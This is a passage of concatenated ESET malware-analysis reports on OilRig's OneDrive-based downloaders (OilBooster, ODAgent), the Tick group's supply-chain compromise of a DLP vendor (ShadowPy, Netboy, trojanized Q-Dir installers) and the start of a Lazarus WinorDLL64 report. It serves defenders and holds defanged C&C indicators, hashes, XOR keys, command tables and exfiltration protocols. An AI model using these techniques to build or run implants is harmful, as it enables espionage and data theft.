C&C server, host1[.]com/rt.ovf, to acquire a new refresh token, as discussed earlier. Alternatively, if the specified directory does not yet exist (HTTP_STATUS_NOT_FOUND), OilBooster first registers the victim on the shared OneDrive account by sending an HTTP POST request over port 443 to this URL: graph.microsoft.com/v1.0/me/drive/items/root:/:/children with the JSON string {"name": "items","folder":{}} as the request body, as shown in Figure 9. This request creates the whole directory structure /items at the same time, which will later be used by the attackers to store commands and additional payloads disguised as .doc and .docx files. Figure 9. On first connection, OilBooster creates a victim-specific directory on the shared OneDrive account On subsequent connections (with HTTP_STATUS_OK), OilBooster processes these files to extract and execute payloads. OilBooster first downloads each file from the OneDrive account and deletes it from OneDrive after processing the file. Finally, after going through all the .doc and .docx files downloaded from the OneDrive subdirectory, OilBooster records the last connection timestamp (the current GMT time) by creating a new file named setting.ini in the victim s OneDrive subdirectory, via an HTTP PUT request on port 443 made to this URL: graph.microsoft.com/v1.0/me/drive/root://setting.ini:/content. Processing .doc files Files with the .doc extension downloaded from the shared OneDrive account are in fact JSON files with encrypted commands to be executed on the compromised host. Once a .doc is downloaded, OilBooster parses the values named s (part of the decryption key) and c (encrypted command) from the file content. It first base64 decodes, then XOR decrypts the c value, using a key that is created by appending the last two characters of the s value to the last two characters of . After decryption, OilBooster executes the command line in a new thread using the CreateProcessW API, and reads the command result via an unnamed pipe connected to the process. OilBooster then uploads the command result to the shared OneDrive account as a new file named .xls by sending an HTTP PUT request over port 443 to graph.microsoft.com/v1.0/me/drive/root://items/.xls:/content. Processing .docx files 10/16 Files with the .docx extension downloaded from the shared OneDrive account are in fact compressed and encrypted files named ..docx that will be dropped and unpacked on the compromised system. OilBooster first downloads the encrypted file to the local directory named \items, using the original full filename. In the next step, it reads and decrypts the file content using an XOR cipher with . as the decryption key, and drops it in the same directory into a file named ..doc, while the first one is deleted. Finally, OilBooster reads and gzip decompresses the decrypted file, drops the result in the same directory as a file named ., and deletes the other one. Note the unnecessary creation of several files in the process this is typical for OilRig. We previously described the group s noisy operations on compromised hosts in its Out to Sea campaign. Exfiltration loop In the exfiltration thread, OilBooster loops over the contents of the local directory named \tempFiles, and uploads the file contents to the victim s folder on the shared OneDrive account. Each file is processed in this way: OilBooster gzip compresses the original file . and writes the result to a file named . .xlsx in the same directory. It then encrypts the compressed file using an XOR cipher and . as the key. If there is no file extension, 4cx is used as the default key. Finally, the encrypted file is uploaded to the OneDrive account, and the local file is deleted. ODAgent downloader: OilBooster s precursor ODAgent is a C#/.NET application that uses the Microsoft Graph API to access an attacker-controlled OneDrive account for C&C communication and exfiltration in short, ODAgent is loosely a C#/.NET precursor of OilBooster. Similar to OilBooster, ODAgent repeatedly connects to the shared OneDrive account and lists the contents of the victim-specific folder to obtain additional payloads and backdoor commands. As shown in Figure 10, ODAgent then parses the metadata for each remote file. Subsequently, it uses the value of the mimeType key associated with the file to distinguish between backdoor commands (formatted as JSON files) and encrypted payloads this is unlike OilBooster, which uses file extensions for that distinction. After processing a file locally, ODAgent deletes the original from the remote OneDrive directory via the OneDrive API. 11/16 Figure 10. ODAgent s code responsible for parsing JSON files obtained from the shared OneDrive account If the downloaded file is a JSON file, ODAgent parses the a1 (command ID), a2 (encrypted backdoor command) and a3 (secret) arguments. It first derives the session key by XORing the provided secret with the hardcoded value 15a49w@]. Then, it base64 decodes and XOR decrypts the backdoor command using this session key. Table 3 lists all backdoor commands supported by ODAgent. Table 3. Backdoor commands supported by ODAgent Backdoor command Description odt> Returns the path to the current working directory. dly> Configures the number of seconds to wait after each connection to . Executes the specified via the native API and returns the command output. Other (non-JSON) files downloaded from the shared OneDrive account are files and additional payloads, both encrypted. ODAgent XOR decrypts these files with the hardcoded key 15a49w@], and drops them in the local \o directory under the same filename. If the original file has a .c extension, its content is also gzip decompressed (and the extension is then dropped from the filename). At the end of each connection, ODAgent uploads the contents of the local directory \i to the /i directory on the shared OneDrive account, preserving the original filenames with the added .c extension. 12/16 Figure 11. ODAgent s exfiltration loop Conclusion Throughout 2022, OilRig developed a series of new downloaders, all using a variety of legitimate cloud storage and cloud-based email services as their C&C and exfiltration channels. These downloaders were deployed exclusively against targets in Israel often against the same targets within a few months. As all of these targets were previously affected by other OilRig tools, we conclude that OilRig uses this class of lightweight but effective downloaders as its tool of choice to maintain access to networks of interest. These downloaders share similarities with MrPerfectionManager and PowerExchange backdoors, other recent additions to OilRig toolset that use email-based C&C protocols except that SC5k, OilBooster, ODAgent, and OilCheck use attacker-controlled cloud service accounts, rather than the victim s internal infrastructure. All these activities confirm an ongoing switch to legitimate cloud service providers for C&C communication, as a way to hide the malicious communication and mask the group s network infrastructure. On par with the rest of OilRig s toolset, these downloaders are not particularly sophisticated, and are, again, unnecessarily noisy on the system. However, the continuous development and testing of new variants, the experimenting with various cloud services and different programming languages, and the dedication to re-compromise the same targets over and over again, makes OilRig a group to watch out for. For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com. ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page. IoCs Files SHA-1 Filename Detection Description 0F164894DC7D8256B66D0EBAA7AFEDCF5462F881 CCLibrary.exe MSIL/OilRig.A OilRig downloader - SC5k v1. 2236D4DCF68C65A822FF0A2AD48D4DF99761AD07 acrotray.exe MSIL/OilRig.D OilRig downloader - SC5k v1. 35E0E78EC35B68D3EE1805EECEEA352C5FE62EB6 mscom.exe MSIL/OilRig.D OilRig downloader - SC5k v1. 51B6EC5DE852025F63740826B8EDF1C8D22F9261 CCLibrary.exe MSIL/OilRig.A OilRig downloader - SC5k v1. 6001A008A3D3A0C672E80960387F4B10C0A7BD9B acrotray.exe MSIL/OilRig.D OilRig downloader - SC5k v1. 7AD4DCDA1C65ACCC9EF1E168162DE7559D2FDF60 AdobeCE.exe MSIL/OilRig.D OilRig downloader - SC5k v1. BA439D2FC3298675F197C8B17B79F34485271498 AGSService.exe MSIL/OilRig.D OilRig downloader - SC5k v1. BE9B6ACA8A175DF61F2C75932E029F19789FD7E3 CCXProcess.exe MSIL/OilRig.A OilRig downloader - SC5k v1. C04F874430C261AABD413F27953D30303C382953 AdobeCE.exe MSIL/OilRig.A OilRig downloader - SC5k v1. 13/16 SHA-1 Filename Detection Description C225E0B256EDB9A2EA919BACC62F29319DE6CB11 mscom.exe MSIL/OilRig.A OilRig downloader - SC5k v1. E78830384FF14A58DF36303602BC9A2C0334A2A4 armsvc.exe MSIL/OilRig.D OilRig downloader - SC5k v1. EA8C3E9F418DCF92412EB01FCDCDC81FDD591BF1 node.exe MSIL/OilRig.D OilRig downloader - SC5k v1. 1B2FEDD5F2A37A0152231AE4099A13C8D4B73C9E consoleapp.exe Win64/OilBooster.A OilRig downloader - OilBooster. 3BF19AE7FB24FCE2509623E7E0D03B5A872456D4 owa.service.exe MSIL/OilRig.D OilRig downloader - SC5k v2. AEF3140CD0EE6F49BFCC41F086B7051908B91BDD owa.service.exe MSIL/OilRig.D OilRig downloader - SC5k v2. A56622A6EF926568D0BDD56FEDBFF14BD218AD37 owa.service.exe MSIL/OilRig.D OilRig downloader - SC5k v2. AAE958960657C52B848A7377B170886A34F4AE99 LinkSync.exe MSIL/OilRig.F OilRig downloader - SC5k v3. 8D84D32DF5768B0D4D2AB8B1327C43F17F182001 AppLoader.exe MSIL/OilRig.M OilRig downloader - OilCheck. DDF0B7B509B240AAB6D4AB096284A21D9A3CB910 CheckUpdate.exe MSIL/OilRig.M OilRig downloader - OilCheck. 7E498B3366F54E936CB0AF767BFC3D1F92D80687 ODAgent.exe MSIL/OilRig.B OilRig downloader - ODAgent. A97F4B4519947785F66285B546E13E52661A6E6F MSIL/OilRig.N Help utility used by OilRig's OilCheck downloader - CmEx. Network Domain Hosting provider First seen Details 188.114.96[.]2 host1[.]com Cloudflare, Inc. 2017-1130 A legitimate, likely compromised website misused by OilRig as a fallback C&C server. MITRE ATT&CK techniques This table was built using version 14 of the MITRE ATT&CK framework. Tactic Name Description Resource Development T1583.001 Acquire Infrastructure: Domains OilRig has registered a domain for use in C&C communications. T1583.004 Acquire Infrastructure: Server OilRig has acquired a server to be used as a backup channel for the OilBooster downloader. T1583.006 Acquire Infrastructure: Web Services OilRig has set up Microsoft Office 365 OneDrive and Outlook accounts, and possibly other Exchange accounts for use in C&C communications. T1587.001 Develop Capabilities: Malware OilRig has developed a variety of custom downloaders for use in its operations: SC5k versions, OilCheck, ODAgent, and OilBooster. 14/16 Tactic Execution Defense Evasion Discovery Collection Command and Control Name Description T1585.003 Establish Accounts: Cloud Accounts OilRig operators have created new OneDrive accounts for use in their C&C communications. T1585.002 Establish Accounts: Email Accounts OilRig operators have registered new Outlook, and possibly other, email addresses for use in their C&C communications. T1608 Stage Capabilities OilRig operators have staged malicious components and backdoor commands in legitimate Microsoft Office 365 OneDrive and Outlook, and other Microsoft Exchange accounts. T1059.003 Command and Scripting Interpreter: Windows Command Shell SC5k v1 and v2 use cmd.exe to execute commands on the compromised host. T1106 Native API OilBooster uses the CreateProcessW API functions for execution. T1140 Deobfuscate/Decode Files or Information OilRig s downloaders use string stacking to obfuscate embedded strings, and the XOR cipher to encrypt backdoor commands and payloads. T1480 Execution Guardrails OilRig s OilBooster requires an arbitrary command line argument to execute the malicious payload. T1564.003 Hide Artifacts: Hidden Window Upon execution, OilBooster hides its console window. T1070.004 Indicator Removal: File Deletion OilRig s downloaders delete local files after a successful exfiltration, and delete files or email drafts from the remote cloud service account after these have been processed on the compromised system. T1202 Indirect Command Execution SC5k v3 and OilCheck use custom command interpreters to execute files and commands on the compromised system. T1036.005 Masquerading: Match Legitimate Name or Location OilBooster mimics legitimate paths. T1027 Obfuscated Files or Information OilRig has used various methods to obfuscate strings and payloads embedded in its downloaders. T1082 System Information Discovery OilRig s downloaders obtain the compromised computer name. T1033 System Owner/User Discovery OilRig s downloaders obtain the victim s username. T1560.003 Archive Collected Data: Archive via Custom Method OilRig s downloaders gzip compress data before exfiltration. T1074.001 Data Staged: Local Data Staging OilRig s downloaders create central staging directories for use by other OilRig tools and commands. T1132.001 Data Encoding: Standard Encoding OilRig s downloaders base64 decode data before sending it to the C&C server. 15/16 Tactic Exfiltration Name Description T1573.001 Encrypted Channel: Symmetric Cryptography OilRig s downloaders use the XOR cipher to encrypt data in C&C communication. T1008 Fallback Channels OilBooster can use a secondary channel to obtain a new refresh token to access the shared OneDrive account. T1105 Ingress Tool Transfer OilRig s downloaders have the capability to download additional files from the C&C server for local execution. T1102.002 Web Service: Bidirectional Communication OilRig s downloaders use legitimate cloud service providers for C&C communication. T1020 Automated Exfiltration OilRig s downloaders automatically exfiltrate staged files to the C&C server. T1041 Exfiltration Over C2 Channel OilRig s downloaders use their C&C channels for exfiltration. T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage OilBooster and ODAgent exfiltrate data to shared OneDrive accounts. T1567 Exfiltration Over Web Service SC5k and OilCheck exfiltrate data to shared Exchange and Outlook accounts. 16/16 The slow Tick ing time bomb: Tick APT group compromise of a DLP software developer in East Asia welivesecurity.com/2023/03/14/slow-ticking-time-bomb-tick-apt-group-dlp-software-developer-east-asia March 14, 2023 ESET Research uncovered a campaign by APT group Tick against a data-loss prevention company in East Asia and found a previously unreported tool used by the group Facundo Mu 14 Mar 2023 - 11:30AM ESET researchers discovered a campaign that we attribute with high confidence to the APT group Tick. The incident took place in the network of an East Asian company that develops data-loss prevention (DLP) software. The attackers compromised the DLP company s internal update servers to deliver malware inside the software developer s network, and trojanized installers of legitimate tools used by the company, which eventually resulted in the execution of malware on the computers of the company s customers. In this blogpost, we provide technical details about the malware detected in the networks of the compromised company and of its customers. During the intrusion, the attackers deployed a previously undocumented downloader named ShadowPy, and they also deployed the Netboy backdoor (aka Invader) and Ghostdown downloader. Based on Tick s profile, and the compromised company s high-value customer portfolio, the objective of the attack was most likely cyberespionage. How the data-loss prevention company was initially compromised is unknown. Key points in this blogpost: ESET researchers uncovered an attack occurring in the network of an East Asian data-loss prevention company with a customer portfolio that includes government and military entities. ESET researchers attribute this attack with high confidence to the Tick APT group. The attackers deployed at least three malware families and compromised update servers and tools used by the company. As a result, two of their customers were compromised. The investigation revealed a previously undocumented downloader named ShadowPy. Tick overview Tick (also known as BRONZE BUTLER or REDBALDKNIGHT) is an APT group, suspected of being active since at least 2006, targeting mainly countries in the APAC region. This group is of interest for its cyberespionage operations, which focus on stealing classified information and intellectual property. Tick employs an exclusive custom malware toolset designed for persistent access to compromised machines, reconnaissance, data exfiltration, and download of tools. Our latest report into Tick s activity found it exploiting the ProxyLogon vulnerability to compromise a South Korean IT company, as one of the groups with access to that remote code execution exploit before the vulnerability was publicly disclosed. While still a zero-day, the group used the exploit to install a webshell to deploy a backdoor on a webserver. Attack overview In March 2021, through unknown means, attackers gained access to the network of an East Asian software developer company. The attackers deployed persistent malware and replaced installers of a legitimate application known as Q-dir with trojanized copies that, when executed, dropped an open-source VBScript backdoor named ReVBShell, as well as a copy of the legitimate Q-Dir application. This led to the execution of malicious code in networks of two of the compromised company s customers when the trojanized installers were transferred via remote support software our hypothesis is that this occurred while the DLP company provided technical support to their customers. The attackers also compromised update servers, which delivered malicious updates on two occasions to machines inside the network of the DLP company. Using ESET telemetry, we didn t detect any other cases of malicious updates outside the DLP company s network. The customer portfolio of the DLP company includes government and military entities, making the compromised company an especially attractive target for an APT group such as Tick. Timeline According to ESET telemetry, in March 2021 the attackers deployed malware to several machines of the software developer company. The malware included variants of the Netboy and Ghostdown families, and a previously undocumented downloader named ShadowPy. 1/11 In April, the attackers began to introduce trojanized copies of the Q-dir installers in the network of the compromised company. In June and September 2021, in the network of the compromised company, the component that performs updates for the software developed by the compromised company downloaded a package that contained a malicious executable. In February and June 2022, the trojanized Q-dir installers were transferred via remote support tools to customers of the compromised company. Figure 1. Timeline of the attack and related incidents. Compromised update servers The first incident where an update containing malware was registered was in June, and then again in September, 2021. On both cases the update was delivered to machines inside the DLP company s network. The update came in the form of a ZIP archive that contained a malicious executable file. It was deployed and executed by a legitimate update agent from software developed by the compromised company. The chain of compromise is illustrated in Figure 2. 2/11 Figure 2. Illustration of the chain of compromise The first detected case occurred in June 2021, and the update was downloaded from an internal server and deployed. The second case occurred in September 2021, from a public-facing server. The malicious executable issues an HTTP GET request to http://103.127.124[.]117/index.html to obtain the key to decrypt the embedded payload, which is encrypted with the RC6 algorithm. The payload is dropped to the %TEMP% directory with a random name and a .vbe extension, and is then executed. Although we have not obtained the dropped sample from the compromised machine, based on the detection (VBS/Agent.DL), we have high confidence that the detected script was the open-source backdoor ReVBShell. Using ESET telemetry, we didn t identify any customers of the DLP company who had received any malicious files through the software developed by that company. Our hypothesis is that the attackers compromised the update servers to move laterally on the network, not to perform a supply-chain attack against external customers. Trojanized Q-Dir installers Q-Dir is a legitimate application developed by SoftwareOK that allows its user to navigate four folders at the same time within the same window, as shown in Figure 3. We believe that the legitimate application is part of a toolkit used by employees of the compromised company, based on where the detections originated inside the network. 3/11 Figure 3. Screenshot of the Q-Dir application According to ESET telemetry, starting in April 2021, two months before the detection of the malicious updates, the attackers began to introduce 32- and 64-bit trojanized installers of the application into the compromised company s network. We found two cases, in February and June 2022, where the trojanized installers were transferred by the remote support tools helpU and ANYSUPPORT, to computers of two companies located in East Asia, one in the engineering vertical, and the other a manufacturing industry. These computers had software from the compromised company installed on them, and the trojanized Q-dir installer was received minutes after the support software was installed by the users. Our hypothesis is that the customers of the compromised DLP company were receiving technical support from that company, via one of those remote support applications and the malicious installer was used unknowingly to service the customers of the DLP company; it is unlikely that the attackers installed support tools to transfer the trojanized installers themselves. 32-bit installer The technique used to trojanize the installer involves injecting shellcode into a cavity at the end of the Section Headers table the application was compiled using 0x1000 for FileAlignment and SectionAlignment, leaving in a cavity of 0xD18 bytes large enough to accommodate the malicious, position-independent shellcode. The entry point code of the application is patched with a JMP instruction that points to the shellcode, and is located right after the call to WinMain (Figure 4); therefore the malicious code is only executed after the application legitimate code finishes its execution. Figure 4. The assembly code shows the JMP instruction that diverts execution flow to the shellcode. The hexadecimal dump shows the shellcode at the end of the PE s section headers. The shellcode, shown in Figure 5, downloads an unencrypted payload from http://softsrobot[.]com/index.html to %TEMP%\ChromeUp.exe by default; if the file cannot be created, it gets a new name using the GetTempFileNameA API. 4/11 Figure 5. Decompiled code of the function that orchestrates downloading the binary file and writing it to disk 64-bit installer While only one malicious 32-bit installer was found, the 64-bit installers were detected in several places throughout the DLP company network. The installer contains the Q-Dir application and an encoded (VBE) ReVBShell backdoor that was customized by the attackers; both of them were compressed with LZO and encrypted with RC6. The files are dropped in the %TEMP% directory and executed. ReVBShell ReVBShell is an open-source backdoor with very basic capabilities. The backdoor code is written in VBScript and the controller code is written in Python. Communication with the server is over HTTP with GET and POST requests. The backdoor supports several commands, including: Getting computer name, operating system name, architecture, and language version of the operating system Getting username and domain name Getting network adapter information Listing running processes Executing shell commands and sending back output Changing current directory Downloading a file from a given URL Uploading a requested file We believe that the attackers used ReVBShell version 1.0, based on the main branch commit history on GitHub. More about the DLP company compromise In this section, we provide more details about tools and malware families that Tick deployed in the compromised software company network. To maintain persistent access, the attackers deployed malicious loader DLLs along with legitimate signed applications vulnerable to DLL search-order hijacking. The purpose of these DLLs is to decode and inject a payload into a designated process (in all cases of this incident, all loaders were configured to inject into svchost.exe). The payload in each loader is one of three malware families: ShadowPy, Ghostdown, or Netboy. Figure 6 illustrates the loading process. 5/11 Figure 6. High-level overview of the Tick malware loading process In this report we will focus on analyzing the ShadowPy downloader and Netboy backdoor. ShadowPy ShadowPy is a downloader developed in Python and converted into a Windows executable using a customized version of py2exe. The downloader contacts its C&C to obtain Python scripts to execute. Based on our findings, we believe the malware was developed at least two years before the compromise of the DLP company in 2021. We have not observed any other incidents where ShadowPy was deployed. Custom py2exe loader As previously described, the malicious DLL loader is launched via DLL side-loading; in the case of ShadowPy we observed vssapi.dll being side-loaded by avshadow.exe, a legitimate software component from the Avira security software suite. The malicious DLL contains, encrypted in its overlay, three major components: the py2exe custom loader, the Python engine and the PYC code. First, the DLL loader code locates the custom py2exe loader in its overlay and decrypts it using a NULL-preserving XOR using 0x56 as the key, then it loads it in memory and injects it in a new svchost.exe process that it creates. Then the entry point of the custom py2exe loader is executed on the remote process.The difference between the original py2exe loader code and the customized version used by Tick, is that the custom loader reads the contents of the malicious vssapi.dll from disk and searches for the Python engine and the PYC code in the overlay, whereas the original locates the engine and the PYC code in the resource section. The loading chain is illustrated in Figure 7. 6/11 Figure 7. High-level overview of the steps taken to execute the PYC payload Python downloader The PYC code is a simple downloader whose purpose is to retrieve a Python script and execute it in a new thread. This downloader randomly picks a URL from a list (although for the samples we analyzed only one URL was present) and builds a unique ID for the compromised machine by building a string composed of the following data: Machine local IP address MAC address Username (as returned by the %username% environment variable) Domain and username (results of the whoami command) Network computer name (as returned by Python s platform.node function) Operating system information (as returned by Python s platform.platform function) Architecture information (as returned by Python s platform.architecture function) Finally, it uses abs(zlib.crc32()) to generate the value that will serve as an ID. The ID is inserted in the middle of a string composed of random characters and is further obfuscated, then it is appended to the URL as shown in Figure 8. Figure 8. Decompiled Python code that prepares the URL, appending the obfuscated unique user ID It issues an HTTP GET request to travelasist[.]com to receive a new payload that is XOR-decrypted with a fixed, single-byte key, 0xC3, then base64-decoded; the result is decrypted using the AES algorithm in CFB mode with a 128-bit key and IV provided with the payload. Lastly it is decompressed using zlib and executed in a new thread. Netboy Netboy (aka Invader) is a backdoor programmed in Delphi; it supports 34 commands that allow the attackers to capture the screen, perform mouse and keyboard events on the compromised machine, manipulate files and services, and obtain system and network information, among other capabilities. Network protocol Netboy communicates with its C&C server over TCP. The packet format used to exchange information between the backdoor and its C&C is described in Figure 9. 7/11 Figure 9. Illustration of the C&C packet format implemented by Netboy In order to fingerprint its packets, it generates two random numbers (first two fields in the header) that are XORed together (as shown in Figure 10) to form a third value that is used to validate the packet. Figure 10. Decompiled code that generates two random numbers and combines them to generate a packet fingerprint value Packet validation is shown in Figure 11, when the backdoor receives a new command from its controller. Figure 11. Decompiled code that performs validation of a newly received packet The packet header also contains the size of the encrypted compressed data, and the size of the uncompressed data plus the size (DWORD) of another field containing a random number (not used for validation) that is prepended to the data before it is compressed, as shown in Figure Figure 12. Decompiled code that creates a new packet to be sent to the controller For compression, Netboy uses a variant of the LZRW family of compression algorithms and for encryption it uses the RC4 algorithm with a 256-bit key made up of ASCII characters. Backdoor commands Netboy supports 34 commands; however, in Table 1 we describe only 25 of the most prominent ones giving the attackers certain capabilities on the compromised systems. Table 1. Most interesting Netboy backdoor commands Command ID Description 0x05 Create new TCP socket and store received data from its controller to a new file. 8/11 Command ID Description 0x06 Create new TCP socket and read file; send contents to the controller. 0x08 Gets local host name, memory information, system directory path, and configured operating hours range for the backdoor (for example, between 14-18). 0x0A List network resources that are servers. 0x0B List files in a given directory. 0x0C List drives. 0x0E Execute program with ShellExecute Windows API. 0x0F Delete file. 0x10 List processes. 0x11 Enumerate modules in a process. 0x12 Terminate process. 0x13 Execute program and get output. 0x16 Download a new file from the server and execute with ShellExecute Windows API. 0x1D Create reverse shell. 0x1E Terminate shell process. 0x1F Get TCP and UDP connections information using the WinSNMP API. 0x23 List services. 0x24 Start service specified by the controller. 0x25 Stop service specified by the controller. 0x26 Create a new service. Details such as service name, description, and path are received from the controller. 0x27 Delete service specified by the controller. 0x28 Set TCP connection state. 0x29 Start screen capture and send to the controller every 10 milliseconds. 0x2A Stop screen capture. 0x2B Perform mouse and keyboard events requested by the controller. Attribution We attribute this attack to Tick with high confidence based on the malware found that has been previously attributed to Tick, and to the best of our knowledge has not been shared with other APT groups, and the code similarities between ShadowPy and the loader used by Netboy. Additionally, domains used by the attackers to contact their C&C servers were previously attributed to Tick in past cases: waterglue[.]org in 2015, and softsrobot[.]com in 2020. Possibly related activity In May 2022, AhnLab researchers published a report about an unidentified threat actor targeting entities and individuals from South Korea with CHM files that deploy a legitimate executable and a malicious DLL for side-loading. The purpose of the DLL is to decompress, decrypt, drop, and execute a VBE script in the %TEMP% folder. The decoded script reveals a ReVBShell backdoor once again. We believe that campaign is likely to be related to the attack described in this report, as the custom ReVBShell backdoor of both attacks is the same, and there are multiple code similarities between the malicious 64-bit installer (SHA-1: B9675D0EFBC4AE92E02B3BFC8CA04B01F8877DB6) and the quartz.dll sample (SHA-1: ECC352A7AB3F97B942A6BDC4877D9AFCE19DFE55) described by AhnLab. Conclusion 9/11 ESET researchers uncovered a compromise of an East Asian data loss prevention company. During the intrusion, the attackers deployed at least three malware families, and compromised update servers and tools used by the compromised company. As a result, two customers of the company were subsequently compromised. Our analysis of the malicious tools used during the attack revealed previously undocumented malware, which we named ShadowPy. Based on similarities in the malware found during the investigation, we have attributed the attack with high confidence to the Tick APT group, known for its cyberespionage operations targeting the APAC region. We would like to thank Cha Minseok from AhnLab for sharing information and samples during our research. ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page. IoCs Files SHA-1 Filename ESET detection name Description 72BDDEAD9B508597B75C1EE8BE970A7CA8EB85DC dwmapi.dll Win32/Netboy.A Netboy backdoor. 8BC1F41A4DDF5CFF599570ED6645B706881BEEED vssapi.dll Win64/ShadowPy.A ShadowPy downloader. 4300938A4FD4190A47EDD0D333E26C8FE2C7451E Win64/TrojanDropper.Agent.FU Trojanized Q dir installer, 64 bit v Drops the customized ReVBShel version A. B9675D0EFBC4AE92E02B3BFC8CA04B01F8877DB6 Win64/TrojanDropper.Agent.FU Trojanized Q dir installer, 64 bit v Drops the customized ReVBShel version B. F54F91D143399B3C9E9F7ABF0C90D60B42BF25C9 Win32/TrojanDownloader.Agent.GBY Trojanized Q-dir installer, 32-bit v FE011D3BDF085B23E6723E8F84DD46BA63B2C700 VBS/Agent.DL Customized ReVBShell backdoo version A. 02937E4A804F2944B065B843A31390FF958E2415 VBS/Agent.DL Customized ReVBShell backdoo version B. Network Provider First seen Details 115.144.69[.]108 KINX 2021 travelasist[.]com ShadowPY C&C server 110.10.16[.]56 SK Broadband Co Ltd 2020 mssql.waterglue[.]org Netboy C&C server 103.127.124[.]117 MOACK.Co.LTD 2020 Server contacted by the malicious update executable to retrieve a key for decryption. 103.127.124[.]119 MOACK.Co.LTD 2021-04-28 slientship[.]com ReVBShell backdoor version A server. 103.127.124[.]76 MOACK.Co.LTD 2020 ReVBShell backdoor version B server. 58.230.118[.]78 SK Broadband Co Ltd 2022-01-25 oracle.eneygylakes[.]com Ghostdown server. 192.185.89[.]178 Network Solutions, LLC 2020-01-28 Server contacted by the malicious 32-bit installer to retrieve a payload. MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework. Tactic Name Description Initial Access T1195.002 Supply Chain Compromise: Compromise Software Supply Chain Tick compromised update servers to deliver malicious update packages via the software developed by the compromised company. 10/11 Tactic Name Description T1199 Trusted Relationship Tick replaced legitimate applications used by technical support to compromise customers of the company. T1059.005 Command and Scripting Interpreter: Visual Basic Tick used a customized version of ReVBShell written in VBScript. T1059.006 Command and Scripting Interpreter: Python ShadowPy malware uses a downloader written in Python. T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Netboy and ShadowPy loaders persist via a Run key. T1543.003 Create or Modify System Process: Windows Service Netboy and ShadowPy loaders persist by creating a service. T1574.002 Hijack Execution Flow: DLL Side-Loading Netboy and ShadowPy loaders use legitimate service and description names when creating services. T1036.004 Masquerading: Masquerade Task or Service Netboy and ShadowPy loaders use legitimate service and description names when creating services. T1036.005 Masquerading: Match Legitimate Name or Location Netboy and ShadowPy loaders use legitimate service and description names when creating services. T1027 Obfuscated Files or Information Netboy, ShadowPy, and their loader use encrypted: payloads, strings, configuration. Loaders contain garbage code. T1027.001 Obfuscated Files or Information: Binary Padding Netboy and ShadowPy loaders DLLs are padded to avoid security solutions from uploading samples. T1055.002 Process Injection: Portable Executable Injection Netboy and ShadowPy loaders inject a PE into a preconfigured system process. T1055.003 Process Injection: Thread Execution Hijacking Netboy and ShadowPy loaders hijack the main thread of the system process to transfer execution to the injected malware. T1135 Network Share Discovery Netboy has network discovery capabilities. T1120 Peripheral Device Discovery Netboy enumerates all available drives. T1057 Process Discovery Netboy and ReVBShell have process enumeration capabilities. T1082 System Information Discovery Netboy and ReVBShell, gather system information. T1033 System Owner/User Discovery Netboy and ReVBShell, gather user information. T1124 System Time Discovery Netboy uses system time to contact its C&C only during a certain time range. Lateral Movement T1080 Taint Shared Content Tick replaced legitimate applications used by technical support, which resulted also in malware execution within the compromised network on previously clean systems. Collection T1039 Data from Network Shared Drive Netboy and ReVBShell have capabilities to collect files. T1113 Screen Capture Netboy has screenshot capabilities. T1071.001 Application Layer Protocol: Web Protocols ShadowPy and ReVBShell communicate via HTTP protocol with their C&C server. T1132.001 Data Encoding: Standard Encoding Tick s customized ReVBShell uses base64 to encode communication with their C&C servers. T1573 Encrypted Channel Netboy uses RC4. ShadowPy uses AES. T1041 Exfiltration Over C2 Channel Netboy and ReVBShell have exfiltration capabilities. T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Tick deployed a custom tool to download and exfiltrate files via a web service. Execution Persistence Defense Evasion Discovery Command and Control Exfiltration 14 Mar 2023 - 11:30AM 11/11 WinorDLL64: A backdoor from the vast Lazarus arsenal? welivesecurity.com/2023/02/23/winordll64-backdoor-vast-lazarus-arsenal February 23, 2023 ESET researchers have discovered one of the payloads of the Wslink downloader that we uncovered back in 2021. We named this payload WinorDLL64 based on its filename WinorDLL64.dll. Wslink, which had the filename WinorLoaderDLL64.dll, is a loader for Windows binaries that, unlike other such loaders, runs as a server and executes received modules in memory. As the wording suggests, a loader serves as a tool to load a payload, or the actual malware, onto the already compromised system. The initial Wslink compromise vector has not been identified. The initially unknown Wslink payload was uploaded to VirusTotal from South Korea shortly after the publication of our blogpost, and hit one of our YARA rules based on Wslink s unique name WinorDLL64. Regarding Wslink, ESET telemetry has seen only a few detections Central Europe, North America, and the Middle East. The WinorDLL64 payload serves as a backdoor that most notably acquires extensive system information, provides means for file manipulation, such as exfiltrating, overwriting, and removing files, and executes additional commands. Interestingly, it communicates over a connection that was already established by the Wslink loader. In 2021, we did not find any data that would suggest Wslink is a tool from a known threat actor. However, after an extensive analysis of the payload, we have attributed WinorDLL64 to the Lazarus APT group with low confidence based on the targeted region and an overlap in both behavior and code with known Lazarus samples. Active since at least 2009, this infamous North-Korea aligned group is responsible for highprofile incidents such as both the Sony Pictures Entertainment hack and tens-of-millions-ofdollar cyberheists in 2016, the WannaCryptor (aka WannaCry) outbreak in 2017, and a long history of disruptive attacks against South Korean public and critical infrastructure since at least 2011. US-CERT and the FBI call this group HIDDEN COBRA. Based on our extensive knowledge of the activities and operations of this group, we believe that Lazarus consists of a large team that is systematically organized, well prepared, and is made up of several subgroups that utilize a large toolset. Last year, we discovered a Lazarus tool that took advantage of the CVE 2021 21551 vulnerability to target an employee of an aerospace company in the Netherlands, and a political journalist in Belgium. It was the first recorded abuse of the vulnerability; in combination, the tool and the vulnerability led to the blinding of the monitoring of all security solutions on compromised machines. We also provided an extensive description of the structure of the virtual machine used in samples of Wslink. 1/11 This blogpost explains the attribution of WinorDLL64 to Lazarus and provides an analysis of the payload. Links to Lazarus We have discovered overlaps in both behavior and code with Lazarus samples from Operation GhostSecret and the Bankshot implant described by McAfee. The description of the implants in both GhostSecret and Bankshot articles contains overlaps in the functionality with WinorDLL64 and we found some code overlap in the samples. In this blogpost we will only use the FE887FCAB66D7D7F79F05E0266C0649F0114BA7C sample from GhostSecret for comparison against WinorDLL64 (1BA443FDE984CEE85EBD4D4FA7EB1263A6F1257F), unless specified otherwise. The following details summarize the supporting facts for our low confidence attribution to Lazarus: 1. Victimology Fellow researchers from AhnLab confirmed South Korean victims of Wslink in their telemetry, which is a relevant indicator considering the traditional Lazarus targets and that we have 